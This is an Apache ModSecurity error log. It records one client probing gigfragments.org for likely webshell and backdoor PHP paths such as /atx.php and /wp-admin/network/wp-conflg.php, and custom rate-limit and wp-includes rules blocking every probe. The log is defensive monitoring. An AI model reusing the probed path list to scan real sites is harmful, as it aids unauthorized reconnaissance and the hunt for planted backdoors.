[Mon Dec 22 19:07:40.384048 2025] [:error] [pid 58078:tid 58103] [client 4.217.179.78:16073] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aUkmfJWKg9Bf8njHlB4e5wAAABQ"]
[Mon Dec 22 19:07:40.905136 2025] [:error] [pid 33472:tid 33522] [client 4.217.179.78:25665] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aUkmfJ5p2WQpPIK8HAkawAAAAZU"]
[Mon Dec 22 19:07:41.780530 2025] [:error] [pid 33440:tid 33446] [client 4.217.179.78:26882] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aUkmfZOsUWKqgxu6QTQc5wAAAQQ"]
[Mon Dec 22 19:07:43.034776 2025] [:error] [pid 56044:tid 56067] [client 4.217.179.78:25727] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aUkmf-60uUaieriJqP1Z4gAAAJM"]
[Mon Dec 22 19:07:43.642194 2025] [:error] [pid 56044:tid 56060] [client 4.217.179.78:6868] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aUkmf-60uUaieriJqP1Z5AAAAIw"]
[Mon Dec 22 19:07:44.323898 2025] [:error] [pid 33472:tid 33513] [client 4.217.179.78:26912] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aUkmgJ5p2WQpPIK8HAkawwAAAYw"]
[Mon Dec 22 19:07:45.099095 2025] [:error] [pid 58172:tid 58189] [client 4.217.179.78:6202] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aUkmgeSVKDT5jWOcnSXQGQAAAM8"]
[Mon Dec 22 19:07:46.148926 2025] [:error] [pid 33472:tid 33516] [client 4.217.179.78:29740] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aUkmgp5p2WQpPIK8HAkaxAAAAY8"]
[Mon Dec 22 19:07:46.915989 2025] [:error] [pid 58078:tid 58084] [client 4.217.179.78:26216] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aUkmgpWKg9Bf8njHlB4e7QAAAAE"]
[Mon Dec 22 19:07:47.573748 2025] [:error] [pid 58078:tid 58104] [client 4.217.179.78:25671] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUkmg5WKg9Bf8njHlB4e8gAAABU"]
[Mon Dec 22 19:07:48.154244 2025] [:error] [pid 33440:tid 33464] [client 4.217.179.78:23811] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUkmhJOsUWKqgxu6QTQc_QAAARY"]
[Mon Dec 22 19:07:48.890281 2025] [:error] [pid 33564:tid 33587] [client 4.217.179.78:6848] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUkmhASHeG6oLmMnKY6piwAAAhQ"]
[Mon Dec 22 19:07:49.936096 2025] [:error] [pid 33471:tid 33489] [client 4.217.179.78:29977] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUkmhb5BeNE7regJ7iw15wAAAU8"]
[Mon Dec 22 19:07:51.217259 2025] [:error] [pid 58172:tid 58194] [client 4.217.179.78:23831] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aUkmh-SVKDT5jWOcnSXQJAAAANQ"]
[Mon Dec 22 19:07:52.379799 2025] [:error] [pid 33440:tid 33463] [client 4.217.179.78:6193] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aUkmiJOsUWKqgxu6QTQdAgAAARU"]
[Mon Dec 22 19:07:53.130246 2025] [:error] [pid 33535:tid 33537] [client 4.217.179.78:16081] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aUkmiWOCI8D9Xtn-n7SqkQAAAcA"]
[Mon Dec 22 19:07:53.552211 2025] [:error] [pid 58172:tid 58198] [client 4.217.179.78:29975] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aUkmieSVKDT5jWOcnSXQJwAAANg"]
[Mon Dec 22 19:07:54.091970 2025] [:error] [pid 33564:tid 33574] [client 4.217.179.78:23809] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aUkmigSHeG6oLmMnKY6pjgAAAgc"]
[Mon Dec 22 19:07:55.182773 2025] [:error] [pid 58172:tid 58179] [client 4.217.179.78:6852] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aUkmi-SVKDT5jWOcnSXQLgAAAMU"]
[Mon Dec 22 19:07:56.065496 2025] [:error] [pid 56044:tid 56059] [client 4.217.179.78:22660] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aUkmjO60uUaieriJqP1Z7QAAAIs"]
[Mon Dec 22 19:07:56.734110 2025] [:error] [pid 58078:tid 58083] [client 4.217.179.78:21345] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aUkmjJWKg9Bf8njHlB4fEQAAAAA"]
[Mon Dec 22 19:07:57.967913 2025] [:error] [pid 33535:tid 33551] [client 4.217.179.78:21371] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUkmjWOCI8D9Xtn-n7SqkwAAAc4"]
[Mon Dec 22 19:07:58.656371 2025] [:error] [pid 33472:tid 33507] [client 4.217.179.78:22718] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUkmjp5p2WQpPIK8HAkaywAAAYY"]
[Mon Dec 22 19:07:59.697113 2025] [:error] [pid 33535:tid 33543] [client 4.217.179.78:29722] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUkmj2OCI8D9Xtn-n7SqlgAAAcY"]
[Mon Dec 22 19:08:00.410760 2025] [:error] [pid 33564:tid 33586] [client 4.217.179.78:29982] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUkmkASHeG6oLmMnKY6pjwAAAhM"]
[Mon Dec 22 19:08:00.934479 2025] [:error] [pid 56044:tid 56054] [client 4.217.179.78:19811] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aUkmkO60uUaieriJqP1Z8QAAAIY"]
[Mon Dec 22 19:08:01.589033 2025] [:error] [pid 33440:tid 33463] [client 4.217.179.78:27883] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aUkmkZOsUWKqgxu6QTQdCQAAARU"]
[Mon Dec 22 19:08:02.066939 2025] [:error] [pid 33535:tid 33541] [client 4.217.179.78:19838] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aUkmkmOCI8D9Xtn-n7SqmQAAAcQ"]
[Mon Dec 22 19:08:02.746307 2025] [:error] [pid 56080:tid 56142] [client 4.217.179.78:27870] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aUkmkpIHT3YJq9hjDc7T_gAAAxI"]
[Mon Dec 22 19:08:03.328206 2025] [:error] [pid 56080:tid 56134] [client 4.217.179.78:27855] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aUkmk5IHT3YJq9hjDc7T_wAAAwo"]
[Mon Dec 22 19:08:03.850957 2025] [:error] [pid 33564:tid 33573] [client 4.217.179.78:29747] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aUkmkwSHeG6oLmMnKY6pkAAAAgY"]
[Mon Dec 22 19:08:04.399831 2025] [:error] [pid 33472:tid 33520] [client 4.217.179.78:6903] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aUkmlJ5p2WQpPIK8HAkazQAAAZM"]
[Mon Dec 22 19:08:05.153000 2025] [:error] [pid 56080:tid 56144] [client 4.217.179.78:29723] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aUkmlZIHT3YJq9hjDc7UBgAAAxQ"]
[Mon Dec 22 19:08:05.782554 2025] [:error] [pid 33471:tid 33482] [client 4.217.179.78:19793] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUkmlb5BeNE7regJ7iw17AAAAUg"]
[Mon Dec 22 19:08:06.845622 2025] [:error] [pid 58078:tid 58100] [client 4.217.179.78:19777] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUkmlpWKg9Bf8njHlB4fGgAAABE"]
[Mon Dec 22 19:08:07.715195 2025] [:error] [pid 33471:tid 33495] [client 4.217.179.78:27884] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUkml75BeNE7regJ7iw17gAAAVU"]
[Mon Dec 22 19:08:08.706350 2025] [:error] [pid 33440:tid 33462] [client 4.217.179.78:21323] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aUkmmJOsUWKqgxu6QTQdDgAAARQ"]
[Mon Dec 22 19:08:12.763463 2025] [:error] [pid 33535:tid 33549] [client 4.217.179.78:19822] [client 4.217.179.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUkmnGOCI8D9Xtn-n7SqpgAAAcw"]
[Mon Dec 22 19:08:26.854359 2025] [:error] [pid 58078:tid 58085] [client 4.217.179.78:25654] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUkmqpWKg9Bf8njHlB4fOgAAAAI"]
[Mon Dec 22 19:08:27.388403 2025] [:error] [pid 33471:tid 33476] [client 4.217.179.78:52120] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUkmq75BeNE7regJ7iw19QAAAUI"]
[Mon Dec 22 19:08:28.114512 2025] [:error] [pid 33535:tid 33540] [client 4.217.179.78:15858] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUkmrGOCI8D9Xtn-n7SqsQAAAcM"]
[Mon Dec 22 19:08:28.889581 2025] [:error] [pid 33471:tid 33485] [client 4.217.179.78:21018] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUkmrL5BeNE7regJ7iw19gAAAUs"]
[Mon Dec 22 19:08:29.667414 2025] [:error] [pid 58172:tid 58184] [client 4.217.179.78:15841] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUkmreSVKDT5jWOcnSXQVwAAAMo"]
[Mon Dec 22 19:08:30.361019 2025] [:error] [pid 33440:tid 33466] [client 4.217.179.78:15817] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUkmrpOsUWKqgxu6QTQdHgAAARg"]
[Mon Dec 22 19:08:30.739357 2025] [:error] [pid 33564:tid 33582] [client 4.217.179.78:25872] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUkmrgSHeG6oLmMnKY6powAAAg8"]
[Mon Dec 22 19:08:32.193134 2025] [:error] [pid 58172:tid 58187] [client 4.217.179.78:25875] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aUkmsOSVKDT5jWOcnSXQXAAAAM0"]
[Mon Dec 22 19:08:32.860922 2025] [:error] [pid 33472:tid 33511] [client 4.217.179.78:21028] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUkmsJ5p2WQpPIK8HAka4gAAAYo"]
[Mon Dec 22 19:08:33.827215 2025] [:error] [pid 33564:tid 33577] [client 4.217.179.78:15564] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUkmsQSHeG6oLmMnKY6ppwAAAgo"]
[Mon Dec 22 19:08:34.681975 2025] [:error] [pid 33564:tid 33576] [client 4.217.179.78:15601] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUkmsgSHeG6oLmMnKY6pqQAAAgk"]
[Mon Dec 22 19:08:35.372913 2025] [:error] [pid 33535:tid 33539] [client 4.217.179.78:21029] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aUkms2OCI8D9Xtn-n7SqsgAAAcI"]
[Mon Dec 22 19:08:36.541190 2025] [:error] [pid 56155:tid 56233] [client 4.217.179.78:21055] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUkmtGG8a3wQucsuN67f4gAAA4s"]
[Mon Dec 22 19:08:37.120107 2025] [:error] [pid 58078:tid 58104] [client 4.217.179.78:21000] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUkmtZWKg9Bf8njHlB4fQAAAABU"]
[Mon Dec 22 19:08:37.726927 2025] [:error] [pid 58078:tid 58098] [client 4.217.179.78:25650] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUkmtZWKg9Bf8njHlB4fSQAAAA8"]
[Mon Dec 22 19:08:38.415715 2025] [:error] [pid 33535:tid 33552] [client 4.217.179.78:27887] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about3.php"] [unique_id "aUkmtmOCI8D9Xtn-n7SqtAAAAc8"]
[Mon Dec 22 19:08:38.869823 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:25911] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUkmtuSVKDT5jWOcnSXQZAAAAMk"]
[Mon Dec 22 19:08:39.376188 2025] [:error] [pid 33440:tid 33449] [client 4.217.179.78:15822] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aUkmt5OsUWKqgxu6QTQdMwAAAQc"]
